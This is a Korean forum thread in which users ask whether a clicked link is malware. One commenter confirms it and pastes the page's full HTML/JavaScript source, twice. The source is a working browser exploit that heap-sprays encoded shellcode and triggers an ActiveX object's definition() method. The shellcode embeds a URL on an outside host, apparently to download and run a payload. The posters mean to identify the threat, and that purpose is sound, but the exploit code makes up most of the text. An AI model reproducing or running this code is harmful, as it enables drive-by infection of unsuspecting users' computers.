이거 악성코드인가요? 정보
이거 악성코드인가요?
본문
추천
0
0
댓글 4개
악선코드면 미워할겁니다. 클릭햇거든요 ㅋㅋ;
아니길 빕니다. ㅎㅎ
아니길 빕니다. ㅎㅎ
주소는 지우시는게..?
악성코드입니다,
어배스트 사용시 위험한 파일이라며 샌드박스로 넘어가구요
이 파일이 mmicrosoft 어쩌고 하는 쿠키를 생성하고
그다음엔 보기 싫어지네요.
소스 첨부해드립니다.
<HTML>
<BODY>
<title></title>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="Microsoft"></object>
<SCRIPT LANGUAGE="JavaScript">
function Suck(dword) {
var t = unescape;
var d = Number(dword).toString(16);
while (d.length < 8) d = '0' + d;
return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
function setc() {
var Then = new Date()
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 3)
document.cookie = "Cookie=mmicrosoft;expires=" + Then.toGMTString()
}
function readc() {
var cookieString = new String(document.cookie);
if (cookieString.indexOf("mmicrosoft") == -1) {
return 0;
} else {
return 1;
}
}
function FunccCalc() {
if (readc()) return;
ConVertData = window["unescape"];
var mmmbc = ("Data5756Data3352Data64C9Data718BData8B30Data0C76Data768BData8B1CData085EData7E8BData8B20Data8136Data0C7FData0033Data0032DataEF75Data5F5ADataE95EData0243Data0000Data8959Data00A9Data0002Data8900Data04B9Data0002Data8900Data08B1Data0002Data8B00Data8BE9Data6AFDData590CDataDDE8Data0001DataE200Data8BF9Data0055DataC283DataEB05Data5B21Data4D8DData68FBData6E6FData0000Data7568Data6C72Data546DData8B51Data55FFDataEC8BData01C6Data8968Data0159Data41C6DataC305DataE2FFDataDAE8DataFFFFData8BFFData6AD8Data5901DataA3E8Data0001DataE200Data68F9Data0100Data0000Data858DData0101Data0000DataC750Data4085Data0002Data2500Data5041DataC750Data4485Data0002Data4400Data5441DataC741Data4885Data0002Data2500Data005CData8D00Data4085Data0002Data5000Data55FFData482CData8589Data00FCData0000Data84C7Data0105Data0001Data7500Data6470DataC761Data0584Data0105Data0000Data6574Data652EData84C7Data0905Data0001Data7800Data0065Data8B00Data3055DataC283DataEB05Data5B26Data4D8DData33FBData56F6Data8D56Data0185Data0001Data5000Data458DData5034Data5156DataFF8BData8B55DataC6ECData6801Data5989DataC601Data0541DataFFC3DataE8E2DataFFD5DataFFFFData006AData8068Data0000Data6A00Data6A03Data6A00Data6801Data01FFData001FData858DData0101Data0000DataFF50Data1455DataC00BData840FData00D4Data0000Data8589Data0230Data0000Data006AData006AData006ADataFF50Data1855Data006AData858BData0230Data0000DataFF50Data2855Data8589Data0234Data0000Data006AData858DData0238Data0000Data8B50Data3485Data0002Data5000Data858DData0260Data0000Data8B50Data3085Data0002Data5000Data55FFData8D20Data60BDData0002Data8B00Data348DData0002Data8000Data0F34Data4995DataF975Data3780Data6A95Data6A00Data6A00Data8B00Data3085Data0002Data5000Data55FFData6A18Data8D00Data3885Data0002Data5000Data858BData0234Data0000Data8D50Data6085Data0002Data5000Data858BData0230Data0000DataFF50Data2455Data858BData0230Data0000DataFF50Data1C55Data558BData8308Data05C2Data33EBData8D5BDataFB4DData8B56DataFC85Data0000DataC600Data0085Data0001Data2200Data84C6Data0B05Data0001Data2200Data858DData0100Data0000Data5150DataFF8BData8B55DataC6ECData6801Data5989DataC601Data0541DataFFC3DataE8E2DataFFC8DataFFFFDataAD8BData0200Data0000DataBD8BData0204Data0000DataB58BData0208Data0000DataE58BDataC033Data335DDataC3DBData5551Data738BData8B3CData1E74Data0378Data56F3Data768BData0320Data33F3Data49C9DataAD41DataC303DataED33DataBE0FData3A10Data74D6DataC108Data07CDDataEA03DataEB40Data3BF1Data752FData5EE7Data6E8BData0324Data66EBData4C8BData004DData6E8BData031CData8BEBData8D44Data0300DataABC3Data595DDataE8C3DataFDB8DataFFFFData7432Data0C91DataE239Data837DData2F51Data01A2Data65A0DataCB97Data8963Data4FD1Data3293Data94E4DataBE43DataDBACData6657DataFF0DData36B2Data130FData8DC4Data741FData138EDataAC0AData730DDataFD1BDataD680Data9AAFData7468Data7074Data2F3AData772FData6265Data6168Data6472Data692EData2F6EData6574Data7473Data7865Data6C70Data696FData2F74Data6D78Data656CData7078Data6F6CData7469Data6F64Data6E77Data702EData676EData0000Data0000");
var xbc = ConVertData(mmmbc["replace"](/Data/g, "%u"));
var a = new Array();
var ls = 0x100000 - (xbc.length * 2 + 0x01020);
var bc = Suck(0x1c1c1c0c);
var pad = Suck(0x1c1c1c0c);
while (pad.length < 0x3000) pad += pad;
bc = pad.substring(0, (0x1c08 - 0x24) / 2);
var language;
if (navigator.appName == 'Netscape') language = navigator.language;
else language = navigator.browserLanguage;
var myStr = ("Data1c0cData1c1cDataf51aData77bcDataf519Data77bcData5ed5Data77bcDataf51aData77bcDataf51aData77bcDataf51aData77bcDataef5bData77bcDataf51aData77bcDataef5bData77bcDataf519Data77bcData1118Data77bcData3e25Data77bdData746aData77beData1ca0Data1c1cData1ca0Data1c1cData1000Data0000Data0040Data0000Data1c4cData1c1cData0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data5ed5Data77bcData9090Data9090Data9090Data9090Data9090Data9090");
myStr = ConVertData(myStr["replace"](/Data/g, "%u"));
bc += myStr;
bc += xbc;
bc += Suck(0) + Suck(0);
var b = Suck(0x1c1c1c0c);
while (b.length < 0x10000) {
b += b;
}
bc = bc + b;
b = bc.substring(0, 0x10000 / 2);
while (b.length < ls) {
b += b;
}
var lh = b.substring(0, ls / 2);
delete b;
delete pad;
lh = lh + xbc;
for (var i = 0; i < 0x1c0; i++)
a[i] = lh.substr(0, lh.length);
var obj = document["getElementById"]('Microsoft')["object"];
var covar = ("Data1c08Data1c1c");
var src = ConVertData(covar["replace"](/Data/g, "%u"));
while (src.length < 0x1002) src += src;
src = "\\" + "\\x" + "xx" + src;
src = src.substr(0, 0x1000 - 10);
var pics = document.createElement("img");
pics.src = src;
pics["nameProp"];
obj["definition"](1000);
setc();
}
FunccCalc();
</SCRIPT>
</BODY>
</HTML>
어배스트 사용시 위험한 파일이라며 샌드박스로 넘어가구요
이 파일이 mmicrosoft 어쩌고 하는 쿠키를 생성하고
그다음엔 보기 싫어지네요.
소스 첨부해드립니다.
<HTML>
<BODY>
<title></title>
<object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id="Microsoft"></object>
<SCRIPT LANGUAGE="JavaScript">
function Suck(dword) {
var t = unescape;
var d = Number(dword).toString(16);
while (d.length < 8) d = '0' + d;
return t('%u' + d.substr(4, 8) + '%u' + d.substr(0, 4));
}
function setc() {
var Then = new Date()
Then.setTime(Then.getTime() + 1000 * 3600 * 24 * 3)
document.cookie = "Cookie=mmicrosoft;expires=" + Then.toGMTString()
}
function readc() {
var cookieString = new String(document.cookie);
if (cookieString.indexOf("mmicrosoft") == -1) {
return 0;
} else {
return 1;
}
}
function FunccCalc() {
if (readc()) return;
ConVertData = window["unescape"];
var mmmbc = ("Data5756Data3352Data64C9Data718BData8B30Data0C76Data768BData8B1CData085EData7E8BData8B20Data8136Data0C7FData0033Data0032DataEF75Data5F5ADataE95EData0243Data0000Data8959Data00A9Data0002Data8900Data04B9Data0002Data8900Data08B1Data0002Data8B00Data8BE9Data6AFDData590CDataDDE8Data0001DataE200Data8BF9Data0055DataC283DataEB05Data5B21Data4D8DData68FBData6E6FData0000Data7568Data6C72Data546DData8B51Data55FFDataEC8BData01C6Data8968Data0159Data41C6DataC305DataE2FFDataDAE8DataFFFFData8BFFData6AD8Data5901DataA3E8Data0001DataE200Data68F9Data0100Data0000Data858DData0101Data0000DataC750Data4085Data0002Data2500Data5041DataC750Data4485Data0002Data4400Data5441DataC741Data4885Data0002Data2500Data005CData8D00Data4085Data0002Data5000Data55FFData482CData8589Data00FCData0000Data84C7Data0105Data0001Data7500Data6470DataC761Data0584Data0105Data0000Data6574Data652EData84C7Data0905Data0001Data7800Data0065Data8B00Data3055DataC283DataEB05Data5B26Data4D8DData33FBData56F6Data8D56Data0185Data0001Data5000Data458DData5034Data5156DataFF8BData8B55DataC6ECData6801Data5989DataC601Data0541DataFFC3DataE8E2DataFFD5DataFFFFData006AData8068Data0000Data6A00Data6A03Data6A00Data6801Data01FFData001FData858DData0101Data0000DataFF50Data1455DataC00BData840FData00D4Data0000Data8589Data0230Data0000Data006AData006AData006ADataFF50Data1855Data006AData858BData0230Data0000DataFF50Data2855Data8589Data0234Data0000Data006AData858DData0238Data0000Data8B50Data3485Data0002Data5000Data858DData0260Data0000Data8B50Data3085Data0002Data5000Data55FFData8D20Data60BDData0002Data8B00Data348DData0002Data8000Data0F34Data4995DataF975Data3780Data6A95Data6A00Data6A00Data8B00Data3085Data0002Data5000Data55FFData6A18Data8D00Data3885Data0002Data5000Data858BData0234Data0000Data8D50Data6085Data0002Data5000Data858BData0230Data0000DataFF50Data2455Data858BData0230Data0000DataFF50Data1C55Data558BData8308Data05C2Data33EBData8D5BDataFB4DData8B56DataFC85Data0000DataC600Data0085Data0001Data2200Data84C6Data0B05Data0001Data2200Data858DData0100Data0000Data5150DataFF8BData8B55DataC6ECData6801Data5989DataC601Data0541DataFFC3DataE8E2DataFFC8DataFFFFDataAD8BData0200Data0000DataBD8BData0204Data0000DataB58BData0208Data0000DataE58BDataC033Data335DDataC3DBData5551Data738BData8B3CData1E74Data0378Data56F3Data768BData0320Data33F3Data49C9DataAD41DataC303DataED33DataBE0FData3A10Data74D6DataC108Data07CDDataEA03DataEB40Data3BF1Data752FData5EE7Data6E8BData0324Data66EBData4C8BData004DData6E8BData031CData8BEBData8D44Data0300DataABC3Data595DDataE8C3DataFDB8DataFFFFData7432Data0C91DataE239Data837DData2F51Data01A2Data65A0DataCB97Data8963Data4FD1Data3293Data94E4DataBE43DataDBACData6657DataFF0DData36B2Data130FData8DC4Data741FData138EDataAC0AData730DDataFD1BDataD680Data9AAFData7468Data7074Data2F3AData772FData6265Data6168Data6472Data692EData2F6EData6574Data7473Data7865Data6C70Data696FData2F74Data6D78Data656CData7078Data6F6CData7469Data6F64Data6E77Data702EData676EData0000Data0000");
var xbc = ConVertData(mmmbc["replace"](/Data/g, "%u"));
var a = new Array();
var ls = 0x100000 - (xbc.length * 2 + 0x01020);
var bc = Suck(0x1c1c1c0c);
var pad = Suck(0x1c1c1c0c);
while (pad.length < 0x3000) pad += pad;
bc = pad.substring(0, (0x1c08 - 0x24) / 2);
var language;
if (navigator.appName == 'Netscape') language = navigator.language;
else language = navigator.browserLanguage;
var myStr = ("Data1c0cData1c1cDataf51aData77bcDataf519Data77bcData5ed5Data77bcDataf51aData77bcDataf51aData77bcDataf51aData77bcDataef5bData77bcDataf51aData77bcDataef5bData77bcDataf519Data77bcData1118Data77bcData3e25Data77bdData746aData77beData1ca0Data1c1cData1ca0Data1c1cData1000Data0000Data0040Data0000Data1c4cData1c1cData0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data0000Data5ed5Data77bcData9090Data9090Data9090Data9090Data9090Data9090");
myStr = ConVertData(myStr["replace"](/Data/g, "%u"));
bc += myStr;
bc += xbc;
bc += Suck(0) + Suck(0);
var b = Suck(0x1c1c1c0c);
while (b.length < 0x10000) {
b += b;
}
bc = bc + b;
b = bc.substring(0, 0x10000 / 2);
while (b.length < ls) {
b += b;
}
var lh = b.substring(0, ls / 2);
delete b;
delete pad;
lh = lh + xbc;
for (var i = 0; i < 0x1c0; i++)
a[i] = lh.substr(0, lh.length);
var obj = document["getElementById"]('Microsoft')["object"];
var covar = ("Data1c08Data1c1c");
var src = ConVertData(covar["replace"](/Data/g, "%u"));
while (src.length < 0x1002) src += src;
src = "\\" + "\\x" + "xx" + src;
src = src.substr(0, 0x1000 - 10);
var pics = document.createElement("img");
pics.src = src;
pics["nameProp"];
obj["definition"](1000);
setc();
}
FunccCalc();
</SCRIPT>
</BODY>
</HTML>
클릭하면 안되는거죠?
